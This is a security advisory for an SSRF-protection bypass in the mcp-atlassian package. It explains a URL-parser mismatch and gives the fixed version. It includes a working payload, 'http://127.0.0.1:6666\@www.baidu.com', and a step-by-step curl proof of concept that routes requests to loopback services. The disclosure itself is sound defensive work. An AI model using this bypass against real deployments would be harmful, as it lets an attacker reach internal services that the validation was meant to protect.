VDB
Sign up
HIGH

GHSA-hgcf-4mq8-5266

MCP Atlassian: SSRF Protection Bypass

Quick fix

GHSA-hgcf-4mq8-5266 — mcp-atlassian: upgrade to the fixed version with the command below.

pip install --upgrade 'mcp-atlassian>=0.22.0'

Details

## Environment

- Project: `sooperset/mcp-atlassian` - Affected function: `validate_url_for_ssrf()` - Affected path: header-based Jira/Confluence URL authentication flow - Tested endpoint: `POST /mcp` - Tested version: `2.14.5`

## Description

The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

```python parsed = urlparse(url) hostname = parsed.hostname ... ip_error = _check_ip_address(hostname) ... dns_error = _check_dns_resolution(hostname) ```

Payload:

```text http://127.0.0.1:6666\@www.baidu.com ```

For this input, `urllib.parse.urlparse()` treats the hostname as:

```text www.baidu.com ```

Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:

```text http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself ```

This allows an attacker-controlled Jira URL to target loopback or internal services.

## Proof of Concept

Start a local HTTP server:

```bash python3 -m http.server 6666 --bind 127.0.0.1 ```

Start `mcp-atlassian` with streamable HTTP transport on port `9000`.

Initialize an MCP session with the malicious Jira URL:

```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}' ```

Send the initialized notification using the returned `Mcp-Session-Id`:

```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSION_ID>' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","method":"notifications/initialized"}' ```

Trigger Jira fetcher creation and token validation:

```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSION_ID>' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}' ```

Observed response:

<img width="1505" height="442" alt="image" src="https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e" />

The local HTTP server also receives the request, confirming SSRF.

<img width="891" height="131" alt="image" src="https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6" />

## Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`. - For the payload, `parsed.hostname` is `www.baidu.com`. - The actual request is sent by the Atlassian client through `requests.Session`. - `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before `\@`.

## Impact

An attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/mcp-atlassian
Introduced in: 0Fixed in: 0.22.0
Fixpip install --upgrade 'mcp-atlassian>=0.22.0'

References